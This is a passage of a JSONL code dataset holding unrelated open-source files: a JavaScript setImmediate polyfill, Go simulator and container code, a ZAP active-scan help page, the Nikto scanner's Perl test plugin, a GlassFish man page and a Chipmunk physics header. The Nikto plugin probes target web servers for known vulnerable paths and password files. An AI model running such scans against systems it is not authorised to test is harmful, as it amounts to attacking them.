if(queue.hasOwnProperty(id)){\n var fn = queue[id];\n delete queue[id];\n fn();\n }\n};\nvar listener = function(event){\n run.call(event.data);\n};\n// Node.js 0.9+ & IE10+ has setImmediate, otherwise:\nif(!setTask || !clearTask){\n setTask = function setImmediate(fn){\n var args = [], i = 1;\n while(arguments.length > i)args.push(arguments[i++]);\n queue[++counter] = function(){\n invoke(typeof fn == 'function' ? fn : Function(fn), args);\n };\n defer(counter);\n return counter;\n };\n clearTask = function clearImmediate(id){\n delete queue[id];\n };\n // Node.js 0.8-\n if(require('./_cof')(process) == 'process'){\n defer = function(id){\n process.nextTick(ctx(run, id, 1));\n };\n // Browsers with MessageChannel, includes WebWorkers\n } else if(MessageChannel){\n channel = new MessageChannel;\n port = channel.port2;\n channel.port1.onmessage = listener;\n defer = ctx(port.postMessage, port, 1);\n // Browsers with postMessage, skip WebWorkers\n // IE8 has postMessage, but it's sync & typeof its postMessage is 'object'\n } else if(global.addEventListener && typeof postMessage == 'function' && !global.importScripts){\n defer = function(id){\n global.postMessage(id + '', '*');\n };\n global.addEventListener('message', listener, false);\n // IE8-\n } else if(ONREADYSTATECHANGE in cel('script')){\n defer = function(id){\n html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function(){\n html.removeChild(this);\n run.call(id);\n };\n };\n // Rest old browsers\n } else {\n defer = function(id){\n setTimeout(ctx(run, id, 1), 0);\n };\n }\n}\nmodule.exports = {\n set: setTask,\n clear: clearTask\n};"} -{"text": "/*\nCopyright (c) 2017 VMware, Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage simulator\n\nimport (\n\t\"time\"\n\n\t\"github.com/vmware/govmomi/object\"\n\t\"github.com/vmware/govmomi/vim25/methods\"\n\t\"github.com/vmware/govmomi/vim25/mo\"\n\t\"github.com/vmware/govmomi/vim25/soap\"\n\t\"github.com/vmware/govmomi/vim25/types\"\n)\n\ntype Datastore struct {\n\tmo.Datastore\n}\n\nfunc parseDatastorePath(dsPath string) (*object.DatastorePath, types.BaseMethodFault) {\n\tvar p object.DatastorePath\n\n\tif p.FromString(dsPath) {\n\t\treturn &p, nil\n\t}\n\n\treturn nil, &types.InvalidDatastorePath{DatastorePath: dsPath}\n}\n\nfunc (ds *Datastore) RefreshDatastore(*types.RefreshDatastore) soap.HasFault {\n\tr := &methods.RefreshDatastoreBody{}\n\n\terr := ds.stat()\n\tif err != nil {\n\t\tr.Fault_ = Fault(err.Error(), &types.HostConfigFault{})\n\t\treturn r\n\t}\n\n\tinfo := ds.Info.GetDatastoreInfo()\n\n\tnow := time.Now()\n\n\tinfo.Timestamp = &now\n\tinfo.MaxMemoryFileSize = info.FreeSpace\n\tinfo.MaxFileSize = info.FreeSpace\n\n\treturn r\n}\n\nfunc (ds *Datastore) DestroyTask(ctx *Context, req *types.Destroy_Task) soap.HasFault {\n\ttask := CreateTask(ds, \"destroy\", func(*Task) (types.AnyType, types.BaseMethodFault) {\n\t\tif len(ds.Vm) != 0 {\n\t\t\treturn nil, &types.ResourceInUse{\n\t\t\t\tType: ds.Self.Type,\n\t\t\t\tName: ds.Name,\n\t\t\t}\n\t\t}\n\n\t\tfor _, mount := range ds.Host {\n\t\t\thost := Map.Get(mount.Key).(*HostSystem)\n\t\t\tMap.RemoveReference(host, &host.Datastore, ds.Self)\n\t\t\tparent := hostParent(&host.HostSystem)\n\t\t\tMap.RemoveReference(parent, &parent.Datastore, ds.Self)\n\t\t}\n\n\t\tp, _ := asFolderMO(Map.Get(*ds.Parent))\n\t\tfolderRemoveChild(ctx, p, ds.Self)\n\n\t\treturn nil, nil\n\t})\n\n\treturn &methods.Destroy_TaskBody{\n\t\tRes: &types.Destroy_TaskResponse{\n\t\t\tReturnval: task.Run(),\n\t\t},\n\t}\n}\n"} -{"text": "module.exports = function(app) {\n\tvar router = app.get('express').Router();\n\treturn router;\n};\n"} -{"text": "package main\n\nimport (\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/codegangsta/cli\"\n\t\"github.com/docker/docker/pkg/term\"\n\t\"github.com/docker/libcontainer\"\n)\n\nfunc newTty(context *cli.Context, p *libcontainer.Process, rootuid int) (*tty, error) {\n\tif context.Bool(\"tty\") {\n\t\tconsole, err := p.NewConsole(rootuid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &tty{\n\t\t\tconsole: console,\n\t\t\tclosers: []io.Closer{\n\t\t\t\tconsole,\n\t\t\t},\n\t\t}, nil\n\t}\n\treturn &tty{}, nil\n}\n\ntype tty struct {\n\tconsole libcontainer.Console\n\tstate *term.State\n\tclosers []io.Closer\n}\n\nfunc (t *tty) Close() error {\n\tfor _, c := range t.closers {\n\t\tc.Close()\n\t}\n\tif t.state != nil {\n\t\tterm.RestoreTerminal(os.Stdin.Fd(), t.state)\n\t}\n\treturn nil\n}\n\nfunc (t *tty) attach(process *libcontainer.Process) error {\n\tif t.console != nil {\n\t\tgo io.Copy(t.console, os.Stdin)\n\t\tgo io.Copy(os.Stdout, t.console)\n\t\tstate, err := term.SetRawTerminal(os.Stdin.Fd())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tt.state = state\n\t\tprocess.Stderr = nil\n\t\tprocess.Stdout = nil\n\t\tprocess.Stdin = nil\n\t} else {\n\t\t// setup standard pipes so that the TTY of the calling nsinit process\n\t\t// is not inherited by the container.\n\t\tr, w, err := os.Pipe()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgo io.Copy(w, os.Stdin)\n\t\tt.closers = append(t.closers, w)\n\t\tprocess.Stdin = r\n\t\tif r, w, err = os.Pipe(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgo io.Copy(os.Stdout, r)\n\t\tprocess.Stdout = w\n\t\tt.closers = append(t.closers, r)\n\t\tif r, w, err = os.Pipe(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgo io.Copy(os.Stderr, r)\n\t\tprocess.Stderr = w\n\t\tt.closers = append(t.closers, r)\n\t}\n\treturn nil\n}\n\nfunc (t *tty) setupPipe() {\n}\n\nfunc (t *tty) resize() error {\n\tif t.console == nil {\n\t\treturn nil\n\t}\n\tws, err := term.GetWinsize(os.Stdin.Fd())\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn term.SetWinsize(t.console.Fd(), ws)\n}\n"} -{"text": "\n\n\n\n\nScan actif\n\n\n\n

    Scan actif

    \n

    \nActive scanning attempts to find potential vulnerabilities by using\nknown attacks against the selected targets.\n

    \n

    \nActive scanning is an attack on those targets.
    \nYou should NOT use it on web applications that you do not own.\n

    \n

    \nIt should be noted that active scanning can only find certain types of vulnerabilities.
    \nLogical vulnerabilities, such as broken access control, will not be found by\nany active or automated vulnerability scanning.
    \nManual penetration testing should always be performed in addition to active\nscanning to find all types of vulnerabilities. \n

    \n\n

    \nActive scanning is configured using the \nOptions Active Scan screen.
    \nThe rules that run are configured via Scan Policies - you can have as many of these as you like. \n\n

    \n\n

    Acc\u00e8s via

    \n\n\n\n\n
        Active Scan tab'New Scan' button
        Onglet sites'Attack/Active Scan...' right click menu item
        History tab'Attack/Active Scan...' right click menu item
    \n\n

    Voir aussi

    \n\n\n\n\n\n\n
        \nAper\u00e7u de l'interface utilisateurpour un aper\u00e7u de l'interface utilisateur
        \nFonctionnalit\u00e9sfournies par ZAP
        \nPassive scanning
        \nScan Policy Manager Dialogwhich allows you to manage the scan policies
        \nScanner Rulessupported by default
    \n\n\n\n"} -{"text": "### special `unwind-protect`\n\nSyntax:\n\n`unwind-protect` parameters => return-type\n\nDocumentation of parameters and return-results.\n\nExamples (not from CLHS...):\n\n```lisp\nCL-USER> (example-code 'a 'b 'c)\n\n'return-result\n```\n"} -{"text": "class Kandan.Plugins.ImageEmbed\n @options:\n regex: /http[\\S]*\\.(jpg|jpeg|gif|png)/i\n\n template: _.template '''\n
    \n \">\n \" />\n \n
    <%= subtitle %>
    \n
    \n '''\n\n\n @init: ()->\n Kandan.Modifiers.register @options.regex, (message, activity) =>\n url = message.match(@options.regex)[0]\n startIndex = message.match(@options.regex).index\n endIndex = startIndex + url.length\n fileName = url.split(\"/\").pop()\n comment = $.trim(message.replace(message.substring(startIndex, endIndex),\"\"))\n subtitle = null\n subtitle = comment if comment.length > 0\n subtitle ||= fileName\n\n message = @options.template({\n imageUrl: url,\n subtitle: subtitle\n })\n\n return message\n"} -{"text": "#VERSION,2.04\n###############################################################################\n# Copyright (C) 2007 Chris Sullo\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; version 2\n# of the License only.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to\n# Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n###############################################################################\n# PURPOSE:\n# Perform the full database of nikto tests against a target\n###############################################################################\nsub nikto_tests_init {\n my $id = { name => \"tests\",\n full_name => \"Nikto Tests\",\n author => \"Sullo, Tautology\",\n description => \"Test host with the standard Nikto tests\",\n copyright => \"2008 Chris Sullo\",\n hooks => {\n scan => { method => \\&nikto_tests,\n weight => 99,\n },\n },\n options => {\n passfiles => \"Flag to indicate whether to check for common password files\",\n all => \"Flag to indicate whether to check all files with all directories\",\n report => \"Report a status after the passed number of tests\",\n\t\t\t\t\t\t tids => \"A range of testids that will only be run\",\n }\n };\n return $id;\n}\n\nsub nikto_tests {\n return if $mark->{'terminate'};\n my ($mark, $parameters) = @_;\n\tmy @tids;\n\t\n\tif (defined $parameters->{'tids'}) {\n\t\t@tids = expand_range($parameters->{'tids'});\n\t}\n\n # this is the actual the looped code for all the checks\n foreach my $checkid (sort keys %TESTS) {\n return if $mark->{'terminate'};\n if ($checkid >= 500000) { next; } # skip TESTS added manually during run (for reports)\n # replace variables in the uri\n\tmy $intcheck=int($checkid);\n\tif ((scalar(@tids) > 0) && !grep(/^$intcheck$/, @tids)) { next; }\n my @urilist = change_variables($TESTS{$checkid}{'uri'});\n\n # Now repeat for each uri\n foreach my $uri (@urilist) {\n return if $mark->{'terminate'};\n my %headrs;\n my %flags;\n if ($TESTS{$checkid}{'headers'}) {\n %headrs=split /: /, $TESTS{$checkid}{'headers'};\n $headrs{'host'} = $mark->{'hostname'} unless ($headrs{'host'}); # Kludge not to override host injection vectors\n $flags{'noclean'} = 1;\n }\n my ($res, $content, $error, $request, $response) =\n nfetch($mark, $uri,\n $TESTS{$checkid}{'method'},\n $TESTS{$checkid}{'data'},\n \\%headrs,\n \\%flags, \n $checkid);\n\n # NOTE: auth is now done in nfetch\n if ($OUTPUT{'show_ok'} && ($res eq 200)) {\n nprint(\"+ $mark->{'root'}$uri - 200/OK Response could be $TESTS{$checkid}{'message'}\");\n }\n elsif ($OUTPUT{'show_redirects'} && ($res =~ /30(?:[0-3]|7)/)) {\n nprint( \"+ $mark->{'root'}$uri - Redirects ($res) to \"\n . $response->{'location'} . \" , \" . $TESTS{$checkid}{'message'});\n }\n\n # If user puts a @CODE= string in db_404_strings, let it take precedence\n foreach my $code (keys %{ $VARIABLES->{'ERRCODES'} }) {\n if ($res =~ /$code/) {\n return;\n }\n }\n\n my $m1_method = my $m1o_method = my $m1a_method = my $f2_method = my $f1_method =\n \"content\";\n my ($positive, $hashme) = 0;\n my ($hash, $reason) = '';\n\n # how to check each conditional\n if ($TESTS{$checkid}{'match_1'} =~ /^[0-9]{3}$/) { $m1_method = \"code\"; }\n elsif ($TESTS{$checkid}{'match_1'} =~ /^\\@MD5/) {\n $m1_method = \"md5\";\n $hashme = 1;\n $TESTS{$checkid}{'match_1'} =~ s/^\\@MD5//;\n }\n\n if ($TESTS{$checkid}{'match_1_or'} =~ /^[0-9]{3}$/) { $m1o_method = \"code\"; }\n elsif ($TESTS{$checkid}{'match_1_or'} =~ /^\\@MD5/) {\n $m1o_method = \"md5\";\n $hashme = 1;\n $TESTS{$checkid}{'match_1_or'} =~ s/^\\@MD5//;\n }\n\n if ($TESTS{$checkid}{'match_1_and'} =~ /^[0-9]{3}$/) { $m1a_method = \"code\"; }\n elsif ($TESTS{$checkid}{'match_1_and'} =~ /^\\@MD5/) {\n $m1a_method = \"md5\";\n $hashme = 1;\n $TESTS{$checkid}{'match_1_and'} =~ s/^\\@MD5//;\n }\n\n if ($TESTS{$checkid}{'fail_1'} =~ /^[0-9]{3}$/) { $f1_method = \"code\"; }\n elsif ($TESTS{$checkid}{'fail_1'} =~ /^\\@MD5/) {\n $f1_method = \"md5\";\n $hashme = 1;\n $TESTS{$checkid}{'fail_1'} =~ s/^\\@MD5//;\n }\n\n if ($TESTS{$checkid}{'fail_2'} =~ /^[0-9]{3}$/) { $f2_method = \"code\"; }\n elsif ($TESTS{$checkid}{'fail_2'} =~ /^\\@MD5/) {\n $f2_method = \"md5\";\n $hashme = 1;\n $TESTS{$checkid}{'fail_2'} =~ s/^\\@MD5//;\n }\n\n if ($hashme) {\n $hash = LW2::md5($content);\n }\n\n # basic match for positive response\n if ($m1_method eq \"content\") {\n if ($content =~ /$TESTS{$checkid}{'match_1'}/) {\n $positive = 1;\n $reason = 'Content Match';\n }\n }\n elsif ($m1_method eq \"md5\") {\n if ($hash eq $TESTS{$checkid}{'match_1'}) {\n $positive = 1;\n $reason = 'MD5 Hash';\n }\n }\n else {\n if ($res eq $TESTS{$checkid}{'match_1'}) {\n $positive = 1;\n $reason = 'Response Code Match';\n }\n elsif ($res eq $FoF{'okay'}{'response'}) {\n $positive = 1;\n $reason = 'Response Code Match - FoF OK Response)';\n\t\t}\n }\n\n # no match, check optional match\n if ((!$positive) && ($TESTS{$checkid}{'match_1_or'} ne \"\")) {\n if ($m1o_method eq \"content\") {\n if ($content =~ /$TESTS{$checkid}{'match_1_or'}/) {\n $positive = 1;\n \t$reason = 'Content Match - Match 1 (Or)';\n }\n }\n elsif ($m1o_method eq \"md5\") {\n if ($hash eq $TESTS{$checkid}{'match_1_or'}) {\n $positive = 1;\n \t$reason = 'MD5 Hash - Match 1 (Or)';\n }\n }\n else {\n if ($res eq $TESTS{$checkid}{'match_1_or'}) {\n $positive = 1;\n $reason = 'Response Code Match - Match 1 (Or)';\n\t\t\t}\n elsif ($res eq $FoF{'okay'}{'response'}) {\n $positive = 1;\n $reason = 'Response Code Match - FoF OK Response / Match 1 (Or)';\n }\n }\n }\n\n # matched on something, check fails/ands\n if ($positive) {\n if ($TESTS{$checkid}{'fail_1'} ne \"\") {\n if ($f1_method eq \"content\") {\n if ($content =~ /$TESTS{$checkid}{'fail_1'}/) { next; }\n }\n elsif ($f1_method eq \"md5\") {\n if ($hash eq $TESTS{$checkid}{'fail_1'}) {\n next;\n }\n }\n else {\n if ($res eq $TESTS{$checkid}{'fail_1'}) { next; }\n }\n }\n if ($TESTS{$checkid}{'fail_2'} ne \"\") {\n if ($f2_method eq \"content\") {\n if ($content =~ /$TESTS{$checkid}{'fail_2'}/) { next; }\n }\n elsif ($f2_method eq \"md5\") {\n if ($hash eq $TESTS{$checkid}{'fail_2'}) {\n next;\n }\n }\n else {\n if ($res eq $TESTS{$checkid}{'fail_2'}) { next; }\n }\n }\n if ($TESTS{$checkid}{'match_1_and'} ne \"\") {\n if ($m1a_method eq \"content\") {\n if ($content !~ /$TESTS{$checkid}{'match_1_and'}/) { next; }\n\t\t\telse { $reason .= ' and content Match1 (And)'; }\n }\n elsif ($m1a_method eq \"md5\") {\n if ($hash ne $TESTS{$checkid}{'match_1_and'}) {\n next;\n }\n\t\t\telse { $reason .= ' and MD5 Match1 (And)'; }\n }\n else {\n if ($res ne $TESTS{$checkid}{'match_1_and'}) { next; }\n\t\t\telse { $reason .= ' and Response Code Match1 (And)'; }\n }\n }\n\n # if it's an index.php, check for normal /index.php to see if it's a FP\n if ($uri =~ /^\\/index.php\\?/) {\n my $content = rm_active_content($content, $mark->{'root'} . $uri);\n if (LW2::md4($content) eq $FoF{'index.php'}{'match'}) { next; }\n }\n\n # lastly check for a false positive based on file extension or type\n if (($m1_method eq \"code\") || ($m1o_method eq \"code\")) {\n if (is_404($mark->{'root'} . $uri, $content, $res, $response->{'location'}))\n {\n next;\n }\n }\n\n $TESTS{$checkid}{'osvdb'} =~ s/\\s+/ OSVDB\\-/g;\n\t\tif ($positive) {\n \tadd_vulnerability($mark,\n \"$mark->{'root'}$uri: $TESTS{$checkid}{'message'}\",\n $checkid,\n $TESTS{$checkid}{'osvdb'},\n $TESTS{$checkid}{'method'},\n $mark->{'root'} . $uri,\n $request,\n $response,\n $reason\n );\n\t\t}\n }\n }\n\n # Percentages\n if (($OUTPUT{'progress'}) && ($parameters->{'report'})) {\n if (($COUNTERS{'totalrequests'} % $parameters->{'report'}) == 0) {\n status_report();\n }\n }\n } # end check loop\n\n # Perform mutation tests\n if ($parameters->{'passfiles'}) {\n passchecks($mark);\n }\n if ($parameters->{'all'}) {\n allchecks($mark);\n }\n\n return;\n}\n\nsub passchecks {\n my ($mark) = @_;\n my @DIRS = (split(/ /, $VARIABLES{\"\\@PASSWORDDIRS\"}));\n my @PFILES = (split(/ /, $VARIABLES{\"\\@PASSWORDFILES\"}));\n my @EXTS = qw(asp bak dat data dbc dbf exe htm html htx ini lst txt xml php php3 phtml);\n\n nprint(\"- Performing passfiles mutation\", \"v\");\n\n # Update total requests for status reports\n my @CGIS = split(/ /, $VARIABLES{'@CGIDIRS'});\n $COUNTERS{'total_checks'} =\n $COUNTERS{'total_checks'} +\n (scalar(@DIRS) * scalar(@PFILES)) +\n (scalar(@DIRS) * scalar(@PFILES) * scalar(@EXTS)) +\n ((scalar(@DIRS) * scalar(@PFILES) * scalar(@EXTS) * scalar(@CGIS)) * 2);\n\n foreach my $dir (@DIRS) {\n return if $mark->{'terminate'};\n foreach my $file (@PFILES) {\n next if ($file eq \"\");\n\n # dir/file\n testfile($mark, \"$dir$file\", \"passfiles\", \"299998\");\n\n foreach my $ext (@EXTS) {\n return if $mark->{'terminate'};\n\n # dir/file.ext\n testfile($mark, \"$dir$file.$ext\", \"passfiles\", \"299998\");\n\n foreach my $cgi (@CGIS) {\n $cgi =~ s/\\/$//;\n\n # dir/file.ext\n testfile($mark, \"$cgi$dir$file.$ext\", \"passfiles\", \"299998\");\n\n # dir/file\n testfile($mark, \"$cgi$dir$file\", \"passfiles\", \"299998\");\n }\n }\n }\n }\n}\n\nsub allchecks {\n my ($mark) = @_;\n\n # Hashes to temporarily store files/dirs in\n # We're using hashes to ensure that duplicates are removed\n my (%FILES, %DIRS);\n\n # build the arrays\n nprint(\"- Loading root level files\", \"v\");\n foreach my $checkid (keys %TESTS) {\n\n # Expand out vars so we get full matches\n my @uris = change_variables($TESTS{$checkid}{'uri'});\n\n foreach my $uri (@uris) {\n my $dir = LW2::uri_get_dir($uri);\n my $file = $uri;\n\n if ($dir ne \"\") {\n $DIRS{$dir} = \"\";\n $dir =~ s/([^a-zA-Z0-9])/\\\\$1/g;\n $file =~ s/$dir//;\n }\n if (($file ne \"\") && ($file !~ /^\\?/)) {\n $FILES{$file} = \"\";\n }\n }\n }\n\n # Update total requests for status reports\n $COUNTERS{'total_checks'} = $COUNTERS{'total_checks'} + (keys(%DIRS) * keys(%FILES));\n\n # Now do a check for each item - just check the return status, nothing else\n foreach my $dir (keys %DIRS) {\n foreach my $file (keys %FILES) {\n return if $mark->{'terminate'};\n testfile($mark, \"$dir$file\", \"all checks\", 299999);\n }\n }\n}\n\nsub testfile {\n return if $mark->{'terminate'};\n my ($mark, $uri, $name, $tid) = @_;\n my ($res, $content, $error, $request, $response) =\n nfetch($mark, $uri, \"GET\", \"\", \"\", \"\", \"Tests: $name\");\n nprint(\"- $res for $uri (error: $error)\", \"v\");\n if ($error) {\n $mark->{'total_errors'}++;\n nprint(\"+ ERROR: $uri returned an error: $error\", \"e\");\n return;\n }\n if ($res == 200) {\n add_vulnerability($mark, \"$uri: file found during $name mutation\", \"$tid\", \"0\", \"GET\", $uri, $request, $response);\n }\n}\n\n1;\n"} -{"text": "delete-message-security-provider(1) asadmin Utility Subcommands delete-message-security-provider(1)\n\nNAME\n delete-message-security-provider - enables administrators to delete a\n message security provider\n\nSYNOPSIS\n delete-message-security-provider [--help] [--target target]\n --layer message_layer\n provider_name\n\nDESCRIPTION\n The delete-message-security-provider subcommand enables administrators\n to delete a message security provider.\n\n In terms of what happens when this subcommand is run, the\n provider-config sub-element for the given message layer\n (message-security-config element of domain.xml is deleted. The\n domain.xmlfile specifies parameters and properties to the GlassFish\n Server). The options specified in the list below apply to attributes\n within the message-security-config and provider-config sub-elements of\n the domain.xml file.\n\n If the message-layer (message-security-config attribute) does not\n exist, it is created, and then the provider-config is created under it.\n\n This command is supported in remote mode only.\n\nOPTIONS\n If an option has a short option name, then the short option precedes\n the long option name. Short options have one dash whereas long options\n have two dashes.\n\n --help, -?\n Displays the help text for the subcommand.\n\n --target\n Specifies the target from which you are deleting the message\n security provider. Valid values are\n\n server\n Deletes the message security provider from the default server\n instance server and is the default value\n\n domain\n Deletes the message security provider from the domain.\n\n cluster_name\n Deletes the message security provider from every server\n instance in the cluster.\n\n instance_name\n Deletes the message security provider from a particular sever\n instance.\n\n --layer\n The message-layer from which the provider has to be deleted. The\n default value is HttpServlet.\n\nOPERANDS\n provider_name\n The name of the provider used to reference the provider-config\n element.\n\nEXAMPLES\n Example 1, Deleting a message security provider\n The following example shows how to delete a message security\n provider for a client.\n\n asadmin> delete-message-security-provider\n --layer SOAP mySecurityProvider\n\nEXIT STATUS\n 0\n command executed successfully\n\n 1\n error in executing the command\n\nSEE ALSO\n create-message-security-provider(1), list-message-security-providers(1)\n\n asadmin(1M)\n\nJava EE 8 09 Aug 2017 delete-message-security-provider(1)\n"} -{"text": "/* Copyright (c) 2013 Scott Lembcke and Howling Moon Software\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\n/// @defgroup cpArbiter cpArbiter\n/// The cpArbiter struct tracks pairs of colliding shapes.\n/// They are also used in conjuction with collision handler callbacks\n/// allowing you to retrieve information on the collision or change it.\n/// A unique arbiter value is used for each pair of colliding objects. It persists until the shapes separate.\n/// @{\n\n#define CP_MAX_CONTACTS_PER_ARBITER 2\n\n/// Get the restitution (elasticity) that will be applied to the pair of colliding objects.\nCP_EXPORT cpFloat cpArbiterGetRestitution(const cpArbiter *arb);\n/// Override the restitution (elasticity) that will be applied to the pair of colliding objects.\nCP_EXPORT void cpArbiterSetRestitution(cpArbiter *arb, cpFloat restitution);\n/// Get the friction coefficient that will be applied to the pair of colliding objects.\nCP_EXPORT cpFloat cpArbiterGetFriction(const cpArbiter *arb);\n/// Override the friction coefficient that will be applied to the pair of colliding objects.\nCP_EXPORT void cpArbiterSetFriction(cpArbiter *arb, cpFloat friction);\n\n// Get the relative surface velocity of the two shapes in contact.\nCP_EXPORT cpVect cpArbiterGetSurfaceVelocity(cpArbiter *arb);\n\n// Override the relative surface velocity of the two shapes in contact.\n// By default this is calculated to be the difference of the two surface velocities clamped to the tangent plane.\nCP_EXPORT void cpArbiterSetSurfaceVelocity(cpArbiter *arb, cpVect vr);\n\n/// Get the user data pointer associated with this pair of colliding objects.\nCP_EXPORT cpDataPointer cpArbiterGetUserData(const cpArbiter *arb);\n/// Set a user data point associated with this pair of colliding objects.\n/// If you need to perform any cleanup for this pointer, you must do it yourself, in the separate callback for instance.\nCP_EXPORT void cpArbiterSetUserData(cpArbiter *arb, cpDataPointer userData);\n\n/// Calculate the total impulse including the friction that was applied by this arbiter.\n/// This function should only be called from a post-solve, post-step or cpBodyEachArbiter callback.\nCP_EXPORT cpVect cpArbiterTotalImpulse(const cpArbiter *arb);\n/// Calculate the amount of energy lost in a collision including static, but not dynamic friction.\n/// This function should only be called from a post-solve, post-step or cpBodyEachArbiter callback.\nCP_EXPORT cpFloat cpArbiterTotalKE(const cpArbiter *arb);\n\n/// Mark a collision pair to be ignored until the two objects separate.\n/// Pre-solve and post-solve callbacks will not be called, but the separate callback will be called.\nCP_EXPORT cpBool cpArbiterIgnore(cpArbiter *arb);\n\n/// Return the colliding shapes involved for this arbiter.\n/// The order of their cpSpace.collision_type values will match\n/// the order set when the collision handler was registered.\nCP_EXPORT void cpArbiterGetShapes(const cpArbiter *arb, cpShape **a, cpShape **b);\n\n/// A macro shortcut for defining and retrieving the shapes from an arbiter.\n#define CP_ARBITER_GET_SHAPES(__arb__, __a__, __b__) cpShape *__a__, *__b__; cpArbiterGetShapes(__arb__, &__a__, &__b__);\n\n/// Return the colliding bodies involved for this arbiter.\n/// The order of the cpSpace.collision_type the bodies are associated with values will match\n/// the order set when the collision handler was registered.\nCP_EXPORT void cpArbiterGetBodies(const cpArbiter *arb, cpBody **a, cpBody **b);\n\n/// A macro shortcut for defining and retrieving the bodies from an arbiter.\n#define CP_ARBITER_GET_BODIES(__arb__, __a__, __b__) cpBody *__a__, *__b__; cpArbiterGetBodies(__arb__, &__a__, &__b__);\n\n/// A struct that wraps up the important collision data for an arbiter.\nstruct cpContactPointSet {\n\t/// The number of contact points in the set.\n\tint count;\n\t\n\t/// The normal of the collision.\n\tcpVect normal;\n\t\n\t/// The array of contact points.\n\tstruct {\n\t\t/// The position of the contact on the surface of each shape.\n\t\tcpVect pointA, pointB;\n\t\t/// Penetration distance of the two shapes. Overlapping means it will be negative.\n\t\t/// This value is calculated as cpvdot(cpvsub(point2, point1), normal) and is ignored by cpArbiterSetContactPointSet().\n\t\tcpFloat distance;\n\t} points[CP_MAX_CONTACTS_PER_ARBITER];\n};\n\n/// Return a contact set from an arbiter.\nCP_EXPORT cpContactPointSet cpArbiterGetContactPointSet(const cpArbiter *arb);\n\n/// Replace the contact point set for an arbiter.\n/// This can be a very powerful feature, but use it with caution!\nCP_EXPORT void cpArbiterSetContactPointSet(cpArbiter *arb, cpContactPointSet *set);\n\n/// Returns true if this is the first step a pair of objects started colliding.\nCP_EXPORT cpBool cpArbiterIsFirstContact(const cpArbiter *arb);\n/// Returns true if the separate callback is due to a shape being removed from the space.\nCP_EXPORT cpBool cpArbiterIsRemoval(const cpArbiter *arb);\n\n/// Get the number of contact points for this arbiter.\nCP_EXPORT int cpArbiterGetCount(const cpArbiter *arb);\n/// Get the normal of the collision.\nCP_EXPORT cpVect cpArbiterGetNormal(const cpArbiter *arb);\n/// Get the position of the @c ith contact point on the surface of the first shape.\nCP_EXPORT cpVect cpArbiterGetPointA(const cpArbiter *arb, int i);\n/// Get the position of the @c ith contact point on the surface of the second shape.\nCP_EXPORT cpVect cpArbiterGetPointB(const cpArbiter *arb, int i);\n/// Get the depth of the @c ith contact point.\nCP_EXPORT cpFloat cpArbiterGetDepth(const cpArbiter *arb, int i);\n\n/// If you want a custom callback to invoke the wildcard callback for the first collision type, you must call this function explicitly.\n/// You must decide how to handle the wildcard's return value since it may disagree with the other wildcard handler's return value or your own.\nCP_EXPORT cpBool cpArbiterCallWildcardBeginA(cpArbiter *arb, cpSpace *space);\n/// If you want a custom callback to invoke the wildcard callback for the second collision type, you must call this function explicitly.\n/// You must decide how to handle the wildcard's return value since it may disagree with the other wildcard handler's return value or your own.\nCP_EXPORT cpBool cpArbiterCallWildcardBeginB(cpArbiter *arb, cpSpace *space);\n\n/// If you want a custom callback to invoke the wildcard callback for the first collision type, you must call this function explicitly.\n/// You must decide how to handle the wildcard's return value since it may disagree with the other wildcard handler's return value or your own.\nCP_EXPORT cpBool cpArbiterCallWildcardPreSolveA(cpArbiter *arb, cpSpace *space);\n/// If you want a custom callback to invoke the wildcard callback for the second collision type, you must call this function explicitly.\n/// You must decide how to handle the wildcard's return value since it may disagree with the other wildcard handler's return value or your own.\nCP_EXPORT cpBool cpArbiterCallWildcardPreSolveB(cpArbiter *arb, cpSpace *space);\n\n/// If you want a custom callback to invoke the wildcard callback for the first collision type, you must call this function explicitly.\nCP_EXPORT void cpArbiterCallWildcardPostSolveA(cpArbiter *arb, cpSpace *space);\n/// If you want a custom callback to invoke the wildcard callback for the second collision type, you must call this function explicitly.\nCP_EXPORT void cpArbiterCallWildcardPostSolveB(cpArbiter *arb, cpSpace *space);\n\n/// If you want a custom callback to invoke the wildcard callback for the first collision type, you must call this function explicitly.\nCP_EXPORT void cpArbiterCallWildcardSeparateA(cpArbiter *arb, cpSpace *space);\n/// If you want 